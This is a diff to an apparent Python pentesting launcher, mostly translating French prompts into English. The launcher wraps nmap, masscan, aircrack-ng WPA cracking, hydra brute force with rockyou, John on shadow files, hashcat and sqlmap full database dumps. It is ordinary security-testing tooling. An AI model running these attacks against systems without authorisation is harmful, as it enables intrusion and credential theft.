- print(f"{C.WHITE}[5]{C.RESET} Personnalisé\n")
+ print(f"{C.GRAY}Scan types:{C.RESET}")
+ print(f"{C.WHITE}[1]{C.RESET} Fast scan (-F)")
+ print(f"{C.WHITE}[2]{C.RESET} Full scan (-A)")
+ print(f"{C.WHITE}[3]{C.RESET} SYN scan (-sS)")
+ print(f"{C.WHITE}[4]{C.RESET} UDP scan (-sU)")
+ print(f"{C.WHITE}[5]{C.RESET} Custom\n")
scan_type = input(f"{C.GRAY}>>> {C.RESET}").strip()
- nmap_args = get_input("Arguments nmap")
- if nmap_args:
- nmap_args = shlex.quote(nmap_args)
- else:
- nmap_args = "-sV"
- scans = {
- "1": ["nmap", "-F", target],
- "2": ["nmap", "-A", target],
- "3": ["nmap", "-sS", target],
- "4": ["nmap", "-sU", target],
- "5": ["nmap", nmap_args, target],
- }
+ scans = {
+ "1": ["nmap", "-F", target],
+ "2": ["nmap", "-A", target],
+ "3": ["nmap", "-sS", target],
+ "4": ["nmap", "-sU", target],
+ "5": ["nmap", get_input("Nmap arguments") or "-sV", target],
+ }
cmd = scans.get(scan_type, ["nmap", "-F", target])
@@ -1267,7 +1253,7 @@ def tool_nmap():
result = subprocess.run(cmd, text=True)
print(f"{C.WHITE}{result.stdout if result.stdout else result.stderr}{C.RESET}")
except Exception as e:
- print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}")
+ print(f"{C.GRAY}[!] Error: {e}{C.RESET}")
pause()
@@ -1278,34 +1264,34 @@ def tool_masscan():
print(f"{C.GRAY}[*] Masscan{C.RESET}\n")
if not check_install("masscan"):
- print(f"{C.GRAY}[!] Masscan non installé{C.RESET}\n")
- install = input(f"{C.WHITE}[?] Installer ? (o/n): {C.RESET}").strip().lower()
- if install == "o":
+ print(f"{C.GRAY}[!] Masscan not installed{C.RESET}\n")
+ install = input(f"{C.WHITE}[?] install ? (y/n): {C.RESET}").strip().lower()
+ if install == "y":
if install_tool("masscan", "masscan"):
- print(f"{C.WHITE}[+] Installation terminée{C.RESET}\n")
+ print(f"{C.WHITE}[+] Installation complete{C.RESET}\n")
else:
- print(f"{C.GRAY}[!] Installation échouée{C.RESET}")
+ print(f"{C.GRAY}[!] Installation failed{C.RESET}")
pause()
return
else:
pause()
return
- target = get_input("IP/plage (ex: 192.168.1.0/24)")
+ target = get_input("IP/range (ex: 192.168.1.0/24)")
if not target:
pause()
return
- ports = get_input("Ports (ex: 1-1000,80,443 ou 'all')") or "1-1000"
+ ports = get_input("Ports (ex: 1-1000,80,443 or 'all')") or "1-1000"
- print(f"\n{C.GRAY}[*] Scan massif en cours...{C.RESET}\n")
+ print(f"\n{C.GRAY}[*] Mass scan in progress...{C.RESET}\n")
try:
subprocess.run(["masscan", "-p", ports, target, "--rate", "1000"], timeout=120)
except KeyboardInterrupt:
- print(f"\n{C.WHITE}[!] Scan arrêté{C.RESET}")
+ print(f"\n{C.WHITE}[!] Scan stopped{C.RESET}")
except Exception as e:
- print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}")
+ print(f"{C.GRAY}[!] Error: {e}{C.RESET}")
pause()
@@ -1316,13 +1302,13 @@ def tool_aircrack():
print(f"{C.GRAY}[*] Aircrack-ng{C.RESET}\n")
if not check_install("aircrack-ng"):
- print(f"{C.GRAY}[!] Aircrack-ng non installé{C.RESET}\n")
- install = input(f"{C.WHITE}[?] Installer ? (o/n): {C.RESET}").strip().lower()
- if install == "o":
+ print(f"{C.GRAY}[!] Aircrack-ng not installed{C.RESET}\n")
+ install = input(f"{C.WHITE}[?] install ? (y/n): {C.RESET}").strip().lower()
+ if install == "y":
if install_tool("aircrack-ng", "aircrack-ng"):
- print(f"{C.WHITE}[+] Installation terminée{C.RESET}\n")
+ print(f"{C.WHITE}[+] Installation complete{C.RESET}\n")
else:
- print(f"{C.GRAY}[!] Installation échouée{C.RESET}")
+ print(f"{C.GRAY}[!] Installation failed{C.RESET}")
pause()
return
else:
@@ -1330,31 +1316,31 @@ def tool_aircrack():
return
print(f"{C.GRAY}Modules:{C.RESET}\n")
- print(f"{C.WHITE}[1]{C.RESET} airmon-ng (Gestion interfaces WiFi)")
- print(f"{C.WHITE}[2]{C.RESET} airodump-ng (Capturer paquets)")
- print(f"{C.WHITE}[3]{C.RESET} aireplay-ng (Injecter paquets)")
- print(f"{C.WHITE}[4]{C.RESET} aircrack-ng (Cracker WPA/WEP)\n")
+ print(f"{C.WHITE}[1]{C.RESET} airmon-ng (WiFi interface management)")
+ print(f"{C.WHITE}[2]{C.RESET} airodump-ng (Capture packets)")
+ print(f"{C.WHITE}[3]{C.RESET} aireplay-ng (Inject packets)")
+ print(f"{C.WHITE}[4]{C.RESET} aircrack-ng (Crack WPA/WEP)\n")
choice = input(f"{C.WHITE}└─>{C.RESET} ").strip()
if choice == "1":
print(f"\n{C.GRAY}[*] Activation du mode monitor:{C.RESET}")
- iface = get_input("Interface WiFi (ex: wlan0)")
+ iface = get_input("WiFi interface (ex: wlan0)")
if iface:
subprocess.run(["sudo", "airmon-ng", "start", iface])
subprocess.run(["sudo", "airmon-ng"])
elif choice == "2":
- print(f"\n{C.GRAY}[*] Capture de paquets:{C.RESET}")
+ print(f"\n{C.GRAY}[*] Packet capture:{C.RESET}")
iface = get_input("Interface (ex: wlan0mon)") or "wlan0mon"
subprocess.run(["sudo", "airodump-ng", iface])
elif choice == "3":
- print(f"\n{C.GRAY}[*] Injection de paquets:{C.RESET}")
+ print(f"\n{C.GRAY}[*] Packet injection:{C.RESET}")
print(f"{C.GRAY} aireplay-ng -9 -e ESSID -a MAC_AP wlan0mon{C.RESET}")
subprocess.run(["sudo", "aireplay-ng", "--help"])
elif choice == "4":
print(f"\n{C.GRAY}[*] Crackage WPA/WEP:{C.RESET}")
- capfile = get_input("Fichier de capture (.cap)")
- wordlist = get_input("Wordlist (défaut: rockyou.txt)") or "/usr/share/wordlists/rockyou.txt"
+ capfile = get_input("Capture file (.cap)")
+ wordlist = get_input("Wordlist (default: rockyou.txt)") or "/usr/share/wordlists/rockyou.txt"
if capfile:
subprocess.run(["sudo", "aircrack-ng", "-w", wordlist, capfile])
@@ -1367,13 +1353,13 @@ def tool_nikto():
print(f"{C.GRAY}[*] Nikto{C.RESET}\n")
if not check_install("nikto"):
- print(f"{C.GRAY}[!] Nikto non installé{C.RESET}\n")
- install = input(f"{C.WHITE}[?] Installer ? (o/n): {C.RESET}").strip().lower()
- if install == "o":
+ print(f"{C.GRAY}[!] Nikto not installed{C.RESET}\n")
+ install = input(f"{C.WHITE}[?] install ? (y/n): {C.RESET}").strip().lower()
+ if install == "y":
if install_tool("nikto", "nikto"):
- print(f"{C.WHITE}[+] Installation terminée{C.RESET}\n")
+ print(f"{C.WHITE}[+] Installation complete{C.RESET}\n")
else:
- print(f"{C.GRAY}[!] Installation échouée{C.RESET}")
+ print(f"{C.GRAY}[!] Installation failed{C.RESET}")
pause()
return
else:
@@ -1385,13 +1371,13 @@ def tool_nikto():
pause()
return
- print(f"\n{C.GRAY}[*] Scan vulnérabilités web...{C.RESET}\n")
+ print(f"\n{C.GRAY}[*] Web vulnerability scan...{C.RESET}\n")
try:
subprocess.run(["nikto", "-h", target, "-o", "nikto_scan.txt"])
- print(f"{C.WHITE}[+] Résultat sauvegardé dans nikto_scan.txt{C.RESET}")
+ print(f"{C.WHITE}[+] Result saved in nikto_scan.txt{C.RESET}")
except Exception as e:
- print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}")
+ print(f"{C.GRAY}[!] Error: {e}{C.RESET}")
pause()
@@ -1402,13 +1388,13 @@ def tool_hydra():
print(f"{C.GRAY}[*] Hydra{C.RESET}\n")
if not check_install("hydra"):
- print(f"{C.GRAY}[!] Hydra non installé{C.RESET}\n")
- install = input(f"{C.WHITE}[?] Installer ? (o/n): {C.RESET}").strip().lower()
- if install == "o":
+ print(f"{C.GRAY}[!] Hydra not installed{C.RESET}\n")
+ install = input(f"{C.WHITE}[?] install ? (y/n): {C.RESET}").strip().lower()
+ if install == "y":
if install_tool("hydra", "hydra"):
- print(f"{C.WHITE}[+] Installation terminée{C.RESET}\n")
+ print(f"{C.WHITE}[+] Installation complete{C.RESET}\n")
else:
- print(f"{C.GRAY}[!] Installation échouée{C.RESET}")
+ print(f"{C.GRAY}[!] Installation failed{C.RESET}")
pause()
return
else:
@@ -1421,10 +1407,10 @@ def tool_hydra():
return
service = get_input("Service (ssh, ftp, http, rdp, mysql...)")
- user = get_input("Utilisateur (ou -P pour wordlist)")
- wordlist = get_input("Wordlist (défaut: rockyou.txt)") or "/usr/share/wordlists/rockyou.txt"
+ user = get_input("User (or -P for wordlist)")
+ wordlist = get_input("Wordlist (default: rockyou.txt)") or "/usr/share/wordlists/rockyou.txt"
- print(f"\n{C.GRAY}[*] Attaque brute force en cours...{C.RESET}\n")
+ print(f"\n{C.GRAY}[*] Brute force attack in progress...{C.RESET}\n")
if user == "-P":
cmd = ["hydra", "-l", "admin", "-P", wordlist, target, service]
@@ -1434,7 +1420,7 @@ def tool_hydra():
try:
subprocess.run(cmd)
except Exception as e:
- print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}")
+ print(f"{C.GRAY}[!] Error: {e}{C.RESET}")
pause()
@@ -1445,13 +1431,13 @@ def tool_john():
print(f"{C.GRAY}[*] John the Ripper{C.RESET}\n")
if not check_install("john"):
- print(f"{C.GRAY}[!] John non installé{C.RESET}\n")
- install = input(f"{C.WHITE}[?] Installer ? (o/n): {C.RESET}").strip().lower()
- if install == "o":
+ print(f"{C.GRAY}[!] John not installed{C.RESET}\n")
+ install = input(f"{C.WHITE}[?] install ? (y/n): {C.RESET}").strip().lower()
+ if install == "y":
if install_tool("john", "john"):
- print(f"{C.WHITE}[+] Installation terminée{C.RESET}\n")
+ print(f"{C.WHITE}[+] Installation complete{C.RESET}\n")
else:
- print(f"{C.GRAY}[!] Installation échouée{C.RESET}")
+ print(f"{C.GRAY}[!] Installation failed{C.RESET}")
pause()
return
else:
@@ -1467,7 +1453,7 @@ def tool_john():
if choice == "1":
hash_val = get_input("Hash à cracker")
- wordlist = get_input("Wordlist (défaut: rockyou.txt)") or "/usr/share/wordlists/rockyou.txt"
+ wordlist = get_input("Wordlist (default: rockyou.txt)") or "/usr/share/wordlists/rockyou.txt"
if hash_val:
subprocess.run(["john", "--wordlist=" + wordlist, "--format=raw-md5"],
input=hash_val, text=True)
@@ -1476,7 +1462,7 @@ def tool_john():
if shadow and os.path.exists(shadow):
subprocess.run(["sudo", "john", shadow])
else:
- print(f"{C.GRAY}[!] Fichier non accessible{C.RESET}")
+ print(f"{C.GRAY}[!] File not accessible{C.RESET}")
elif choice == "3":
hash_file = get_input("Fichier de hash")
if hash_file:
@@ -1491,13 +1477,13 @@ def tool_hashcat():
print(f"{C.GRAY}[*] Hashcat{C.RESET}\n")
if not check_install("hashcat"):
- print(f"{C.GRAY}[!] Hashcat non installé{C.RESET}\n")
- install = input(f"{C.WHITE}[?] Installer ? (o/n): {C.RESET}").strip().lower()
- if install == "o":
+ print(f"{C.GRAY}[!] Hashcat not installed{C.RESET}\n")
+ install = input(f"{C.WHITE}[?] install ? (y/n): {C.RESET}").strip().lower()
+ if install == "y":
if install_tool("hashcat", "hashcat"):
- print(f"{C.WHITE}[+] Installation terminée{C.RESET}\n")
+ print(f"{C.WHITE}[+] Installation complete{C.RESET}\n")
else:
- print(f"{C.GRAY}[!] Installation échouée{C.RESET}")
+ print(f"{C.GRAY}[!] Installation failed{C.RESET}")
pause()
return
else:
@@ -1510,21 +1496,21 @@ def tool_hashcat():
print(f"{C.WHITE}1800{C.RESET} sha512crypt")
print(f"{C.WHITE}22000{C.RESET} WPA-PBKDF2\n")
- hash_mode = get_input("Mode hash (défaut: 0 pour MD5)")
- hash_file = get_input("Fichier de hash")
- wordlist = get_input("Wordlist (défaut: rockyou.txt)") or "/usr/share/wordlists/rockyou.txt"
+ hash_mode = get_input("Hash mode (default: 0 for MD5)")
+ hash_file = get_input("Hash file")
+ wordlist = get_input("Wordlist (default: rockyou.txt)") or "/usr/share/wordlists/rockyou.txt"
if not hash_file:
pause()
return
- print(f"\n{C.GRAY}[*] Crack en cours (GPU)...{C.RESET}\n")
+ print(f"\n{C.GRAY}[*] Cracking in progress (GPU)...{C.RESET}\n")
try:
mode = hash_mode or "0"
subprocess.run(["hashcat", "-m", mode, "-a", "0", hash_file, wordlist, "--force"])
except Exception as e:
- print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}")
+ print(f"{C.GRAY}[!] Error: {e}{C.RESET}")
pause()
@@ -1535,29 +1521,29 @@ def tool_sqlmap():
print(f"{C.GRAY}[*] SQLMap{C.RESET}\n")
if not check_install("sqlmap"):
- print(f"{C.GRAY}[!] SQLMap non installé{C.RESET}\n")
- install = input(f"{C.WHITE}[?] Installer ? (o/n): {C.RESET}").strip().lower()
- if install == "o":
+ print(f"{C.GRAY}[!] SQLMap not installed{C.RESET}\n")
+ install = input(f"{C.WHITE}[?] Install? (y/n): {C.RESET}").strip().lower()
+ if install == "y":
if install_tool("sqlmap", "sqlmap"):
- print(f"{C.WHITE}[+] Installation terminée{C.RESET}\n")
+ print(f"{C.WHITE}[+] Installation complete{C.RESET}\n")
else:
- print(f"{C.GRAY}[!] Installation échouée{C.RESET}")
+ print(f"{C.GRAY}[!] Installation failed{C.RESET}")
pause()
return
else:
pause()
return
- target = get_input("URL cible (ex: http://site.com/page?id=1)")
+ target = get_input("Target URL (ex: http://site.com/page?id=1)")
if not target:
pause()
return
print(f"\n{C.GRAY}Actions:{C.RESET}")
- print(f"{C.WHITE}[1]{C.RESET} Détection basique")
- print(f"{C.WHITE}[2]{C.RESET} Extraire bases de données")
- print(f"{C.WHITE}[3]{C.RESET} Extraire tables")
- print(f"{C.WHITE}[4]{C.RESET} Dump complet")
+ print(f"{C.WHITE}[1]{C.RESET} Basic detection")
+ print(f"{C.WHITE}[2]{C.RESET} Extract databases")
+ print(f"{C.WHITE}[3]{C.RESET} Extract tables")
+ print(f"{C.WHITE}[4]{C.RESET} Full dump")
choice = input(f"\n{C.GRAY}>>> {C.RESET}").strip()
@@ -1566,21 +1552,21 @@ def tool_sqlmap():
if choice == "2":
cmd.extend(["--dbs"])
elif choice == "3":
- db = get_input("Nom de la base")
+ db = get_input("Database name")
cmd.extend(["-D", db, "--tables"])
elif choice == "4":
- db = get_input("Base de données")
+ db = get_input("Database")
table = get_input("Table")
cmd.extend(["-D", db, "-T", table, "--dump"])
else:
pass
- print(f"\n{C.GRAY}[*] Analyse en cours...{C.RESET}\n")
+ print(f"\n{C.GRAY}[*] Analysis in progress...{C.RESET}\n")
try:
subprocess.run(cmd)
except Exception as e:
- print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}")
+ print(f"{C.GRAY}[!] Error: {e}{C.RESET}")
pause()